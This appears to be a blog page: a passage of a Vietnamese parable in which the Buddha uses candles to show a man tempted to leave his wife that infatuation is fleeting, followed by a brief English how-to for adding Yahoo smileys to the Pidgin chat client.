Phật : Vậy thì vợ con hạnh phúc.
Người : Sau khi con chia tay vợ lấy người khác,vợ con sẽ rất đau khổ, tại sao lại hạnh phúc, thưa Ðức Phật?
Phật : Trong hôn nhân, vợ con vẫn có tình yêu đối với con, còn con đã mất đi tình yêu đối với vợ con. Bởi vì con đã yêu người khác, chính vì có hạnh phúc, mất đi mới đau khổ, cho nên người đau khổ là con.
Người : Nhưng con cắt đứt vợ, sau đó cưới nguời khác, vậy là cô ấy đã mất con, cô ấy mới là người đau khổ.
Phật : Con nhầm rồi, con chỉ là người vợ con yêu thật sự trong hôn nhân.Khi một người như con không tồn tại, thì tình yêu thực sự của vợ con sẽ tiếp nối sang một người khác, bởi vì tình yêu thực sự của vợ con trong hôn nhân xưa nay chưa từng mất, cho nên vợ con mới hạnh phúc, con mới là người đau khổ.
Người : Vợ con đã từng nói, kiếp này chỉ yêu một mình con, cô ấy sẽ không yêu ai khác.
Phật : Con cũng đã từng nói thế phải không?
Người : Con...con...con...
Phật : Bây giờ con nhìn 3 ngọn nến trong lư hương trước mặt, xem ngọn nào sáng nhất?

Người : Quả thật con không biết, hình như đều sáng như nhau.
Phật : Ba ngọn nến ví như ba người đàn bà, một ngọn trong đó là người đàn bà hiện giờ con đang yêu. Ðông đảo chúng sinh, đàn bà đâu chỉ là mười triệu trăm triệu...Ngay đến một trong ba ngọn nến, ngọn nào sáng nhất con cũng không biết, cũng không tìm được người con hiện đang yêu, thì làm sao con xác định được người đàn bà con đang yêu hiện nay là người đàn bà cuối cùng và duy nhất trong cuộc đời con?
Người : Con...con...con...
Phật : Bây giờ con cầm một cây nến đặt ở trước mắt, để tâm nhìn xem ngọn nào sáng nhất?

Người : Ðương nhiên ngọn trước mắt này sáng nhất.
Phật : Bây giờ con đặt nó về chỗ cũ, lại xem xem ngọn nào sáng nhất.
Người : Quả thật con vẫn không nhìn ra ngọn nến nào sáng nhất.
Phật : Thật ra cây nến con vừa cầm giống như người đàn bà cuối cùng con đang yêu hiện nay, tình yêu nảy sinh từ trái tim, khi con cảm thấy yêu nó, để tâm ngắm nghía, con sẽ thấy nó sáng nhất, khi con để nó về chỗ cũ, con lại không tìm được một chút cảm giác sáng nhất. Thứ gọi là tình yêu cuối cùng và duy nhất của con chỉ là hoa trong gương trăng dưới nước, suy cho cùng chỉ là con số không, một cuộc tình trống rỗng.

Người : Ồ, con hiểu rồi, không phải Ðức Phật bảo con phải ly hôn với vợ, Ðức Phật đang niệm chú làm cho con ngộ đạo.
Phật : Nhìn thấu sẽ không nói trắng ra, con đi đi!
Người : Bây giờ con đã biết thật sự con yêu ai, người đó chính là vợ con hiện nay , thưa Ðức Phật.
Phật : A di đà phật...

p/s: leech

Add yahoo smiley to Pidgin

No comments:


The set of yahoo smiley is very cool smiley, but in pidgin, if you want to use that, you must add it by hand. To do this, follow many steps below :

1. Down the yahoo smiley, fllow this link.
2. Extract it into ~/.purple/smileys/
3. Go to pidgin, tools, preference, smiley themes . Chose Original.
4. Relogin pidgin, get cool smileys .